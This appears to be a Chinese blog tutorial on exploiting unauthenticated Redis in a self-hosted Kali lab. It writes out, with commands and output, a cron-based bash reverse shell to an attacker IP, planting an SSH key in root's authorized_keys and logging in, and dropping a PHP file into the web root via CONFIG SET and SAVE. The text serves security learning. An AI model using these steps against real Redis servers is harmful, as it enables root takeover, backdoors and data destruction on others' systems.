Redis
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
本地漏洞环境搭建
本地环境kali是自身连接自身(不想开两个虚拟机了)

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make installvim redis.conf
1:bind 127.0.0.1前面加上#号
2:protected-mode设为no启动redis-server
./src/redis-server
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件

Redis基本命令

redis-cli -h 192.168.17.142  #连接redis
192.168.17.142:6379>info  #查看redis版本信息、一些具体信息、服务器版本信息等等
192.168.17.142:6379>set x "test"  #将变量x的值设为test
192.168.17.142:6379>flushall   #是把整个redis数据库删除
192.168.17.142:6379>KEYS *   #查看所有键
192.168.17.142:6379>CONFIG GET dir
192.168.17.142:6379>CONFIG GET dbfilename
#获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复

利用方法

1:计划任务执行命令nc反弹shell(root权限,这里没有利用成功)

#首先kali监听
nc -lvnp 4444root@kali:~# redis-cli -h 192.168.17.142
192.168.63.130:6379> set x "\n\n* * * * * bash -i >& /dev/tcp/192.168.63.128/4444 0>&1\n\n"
OK
192.168.17.142:6379> config set dir /var/spool/cron/
OK
192.168.17.142:6379> config set dbfilename root
OK
192.168.17.142:6379> save
OK
 在redis设置一个 x 为key, "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.100/8888 0>&1\n\n" 为value的键值对
(可以看出这个值是一个定时任务,每一分钟会向192.168.1.100的8888端口发送一个bash交互式请求),然后利用config命令保存定时任务

2:写ssh-keygen公钥然后使用私钥登陆
(Redis以root用户登录,且开发了ssh服务 允许使用密匙登录)

#首先在本地生成一对密钥:
root@kali:~/Desktop# ssh-keygen -t rsa

这里是在桌面运行的,我们回到~目录,ls -alh
drwx------  2 root root 4.0K 6月   9 03:20 .sshroot@kali:~# cd .ssh/
root@kali:~/.ssh# ls
id_rsa  id_rsa.pub  known_hosts
root@kali:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNT/EIeRkz+iHJ/gd7l0qERndaFn1Tq3XSkCsw/ZCtJ5Eicz1stthV6WUmvCzcc4zwNYEhQOKRkp2LoJ5XYNVgTGCqCM/ESNI+OTjDgkdfthd8JI89G3h/SlLvVb4nevS2vff8Jzz5FQ+01SZDzkEkHmeh0plMAMMc21HEjYzVpQiEoTPg9lYuDJqTQ4R2VqCql2fnjJ+wh9McjVAZZ+YlW1cpd6fesJ5zPTo+fgK5fWMbqMAR3JSfx7fd1jQSk76KbHRVE4MKqHtzbDg7eGCGha34bOn88thQjaYNSdH5nJTVnEvM4s/4RVNGHmwFbCw2PID7tXFqSIhKM0ULsMiJ root@kali

然后Redis执行命令

root@kali:~/redis-3.2.0/src# ./redis-cli
127.0.0.1:6379> config set dir /root/.ssh/
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNT/EIeRkz+iHJ/gd7l0qERndaFn1Tq3XSkCsw/ZCtJ5Eicz1stthV6WUmvCzcc4zwNYEhQOKRkp2LoJ5XYNVgTGCqCM/ESNI+OTjDgkdfthd8JI89G3h/SlLvVb4nevS2vff8Jzz5FQ+01SZDzkEkHmeh0plMAMMc21HEjYzVpQiEoTPg9lYuDJqTQ4R2VqCql2fnjJ+wh9McjVAZZ+YlW1cpd6fesJ5zPTo+fgK5fWMbqMAR3JSfx7fd1jQSk76KbHRVE4MKqHtzbDg7eGCGha34bOn88thQjaYNSdH5nJTVnEvM4s/4RVNGHmwFbCw2PID7tXFqSIhKM0ULsMiJ root@kali\n\n\n"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> 

保存之后就可以用私钥登录ssh

#因为我这是本机登录本机 所以直接exit,看回显
root@kali:~/.ssh# ssh -i id_rsa root@192.168.17.142
Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jun  9 03:17:11 2020 from 192.168.17.142
root@kali:~# exit
注销
Connection to 192.168.17.142 closed.
root@kali:~/.ssh# 

web物理路径写webshell
(redis权限不高,开着web服务,有写入权限,且知道网站绝对路径)

127.0.0.1:6379> config set dir /var/www/html/
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set x "<?php phpinfo();?>"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> 

然后访问web路径即可

Redis未授权访问的利用相关推荐

  1. redis未授权访问漏洞利用

    redis是一个key-value存储系统,拥有强大的功能,目前普及率很高,redis是用ansic语言编写,支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的APL, ...

  2. 【渗透】Redis 未授权访问漏洞利用(三种利用方式)

    起序:是因为我同学的云服务器被黑了,被挖矿了,原因就是 redis 可以未授权访问,还是 root 级别的,我直接好家伙,整理记录一下. 一.软件环境 虚拟机:VMware Workstation 1 ...

  3. Redis 未授权访问漏洞利用

    先上 zmap 这个大杀器大范围找安装 redis 服务的机器,aaa.bbb.0.0 是计划扫描的网络. $ zmap -B 1M -p 6379 aaa.bbb.0.0/16 -o results ...

  4. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  5. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

  6. Redis未授权访问漏洞的利用及防护

    什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...

  7. redis 未授权访问详解

    一. 应用介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型. Key-Value数据库.和Memcached类似,它支持存储的value 类型相对更多,包括 ...

  8. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Red ...

  9. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

最新文章

  1. 后台服务器经典面试题
  2. matlab运行容量小,可变大小(运行时)输入Simulink Matlab
  3. python读文件路径-在Python中按路径读取数据文件的几种方式
  4. 链接服务器 '(null)' 的 OLE DB 访问接口'STREAM' 返回了对列 '[!BulkInsert].field' 无效的数据...
  5. VB的一些项目中常用的通用方法-一般用于验证类
  6. 移动端设备标识码:DeviceID、IMEI、IDFA、UDID和UUID的名词解释
  7. HDU - 6959 zoto 莫队 + 值域分块
  8. ​如何判断公司是否靠谱?
  9. linux_38664和amd64,Cognos10 RedHat5.4 X64 安装记录
  10. 求解两个经纬点之间的距离和角度(mm级精度)
  11. C++ 编码规范建议
  12. 20200726每日一句
  13. BZOJ 1066 蜥蜴 最大流
  14. Pr 音频效果参考:特殊效果
  15. Cocos2d-x学习笔记(五)仿真树叶飘落效果的实现(精灵旋转、翻转、钟摆运动等综合运用)
  16. 文件名字超出计算机无法删除,电脑文件名太长无法删除怎么办
  17. 中国十大电子商务网站排名
  18. Acwing 1191. 家谱树
  19. Java实现统计字符次数(按大写、小写、数字来统计)
  20. python 抓取网页数据

热门文章

  1. Stm32F103R6之SPI
  2. 获取南京肯德基门店列表
  3. 鸿蒙之后,小米 Vela 也来了,下一代物联网平台应该是什么?
  4. job调用过程报错 ORA-00942: 表或视图不存在,权限问题
  5. 期刊(2)中文期刊查询
  6. [JSOI2008]Blue Mary的战役地图(二分+哈希)
  7. 谈谈MSG中的 WPARAM 和 LPARAM
  8. 欢迎加入QQ群(63503492)讨论技术
  9. java基于微信小程序的药品购物商城系统 自助购药小程序uinapp 计算机毕业设计
  10. 去掉字符串最后一个字符的方法